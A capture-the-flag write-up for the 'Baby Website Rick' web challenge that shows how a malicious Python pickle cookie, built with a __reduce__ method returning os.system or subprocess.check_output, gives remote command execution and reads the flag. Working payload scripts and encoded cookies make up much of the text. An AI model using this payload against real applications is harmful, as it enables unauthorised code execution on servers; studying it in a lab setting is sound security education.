Baby Website Rick Writeup
10 September 2022 #CTF #HTB #chall #easy #webFirst Look
After launching the instance, we can access this page:
The stuff between the angle brackets looks like the output when you print an object in python:
$ python
Python 3.10.6 (main, Aug 2 2022, 00:00:00) [GCC 12.1.1 20220507 (Red Hat 12.1.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = object()
>>> print(x)
<object object at 0x7f976db7c850>
We also have a cookie, let's decode it:
$ echo -n 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.
Given that the title of the page is 'insecure deserialization' and the reference to Rick, we can assume this is a serialized python object.
this link confirms that it is using the 'pickle' module (hence Rick).
Analysis
A good start would be to deserialize the object ourselves to mimic what we think the server is doing:
# srv.py
import pickle, base64, sys
class anti_pickle_serum():
pass
ser = base64.b64decode(sys.argv[1])
deser = pickle.loads(ser)
print(deser)
We know there is an anti_pickle_serum
object so we create it as an empty class.
We take our cookie, base64 decode it, deserialize it and print the result:
$ python srv.py KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu
{'serum': <__main__.anti_pickle_serum object at 0x7f658c8feb30>}
It is actually a dict that contains an anti_pickle_serum
object.
Exploitation
Part 0 - The Preparation
We can use the __reduce__
special method to specify how the object should be serialized/deserialized:
# pwn.py
import pickle, base64, os
class anti_pickle_serum():
def __reduce__(self):
return os.system, ('ls',)
m = { 'serum': anti_pickle_serum() }
print(base64.b64encode(pickle.dumps(m)))
This will execute the os.system
function when the object is deserialized server side. We have to return the function name and a tuple that contains the arguments.
Run it to get a new serialized object:
$ python pwn.py
b'gASVKAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwCbHOUhZRSlHMu'
Now let's use this with our custom 'server' to see how it behaves:
$ python srv.py gASVKAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwCbHOUhZRSlHMu
pwn.py srv.py
{'serum': 0}
Nice, it looks like ls
has been executed. The anti_pickle_serum
object in the dict is equal to 0 because it's the return value from the os.system
function (return code of ls
).
Part 1 - The Crash
Why not try this on the remote server? Change the cookie in your browser and refresh the page:
What? It crashed? Let's take a look at the server headers:
$ curl -I http://206.189.113.19:31147/
[...]
Server: Werkzeug/1.0.1 Python/2.7.17
[...]
You may already have noticed this if you use Burp but this server is actually running python 2.7!
This probably means we have to use python 2.7 as well...
$ python2 pwn.py
KGRwMApTJ3NlcnVtJwpwMQpjcG9zaXgKc3lzdGVtCnAyCihTJ2xzJwpwMwp0cDQKUnA1CnMu
Notice that the base64 is completely different.
You know the deal, edit the cookies in you browser and refresh the page:
Part 2 - The Confusion
That is surely better, but where is our output? and why 0? Remember when we wrote our custom 'server' script in Part 0?
The server executed the ls
command but the object returned after the deserialization was 0 which is the return value of the os.system
function (it is actually the exit code of our ls
command). Since we have no way to access the stdout of the server, we need to find how to return the output of the system command to our anti_pickle_serum
object.
Part 3 - The Good Ending
Looking in the python subprocess module, we find a check_output
function that does exactly what we want:
# pwn.py
import pickle, base64, subprocess
class anti_pickle_serum():
def __reduce__(self):
return subprocess.check_output, ('ls',)
m = { 'serum': anti_pickle_serum() }
print(base64.b64encode(pickle.dumps(m)))
The only modification here is the use of subprocess.check_output
instead of os.system
.
Regenerate the cookie:
$ python2 pwn.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKFMnbHMnCnAzCnRwNApScDUKcy4=
Once again, change cookie + refresh:
Perfect, there is even the file that contains the flag! Now it is just a matter of changing the command to cat flag_wlp1b
in our pwn.py
and the flag is ours.
Key Takeaways
- When you have a serialized object, deserialize it yourself
- When troubleshooting, looking at the versions can be the solution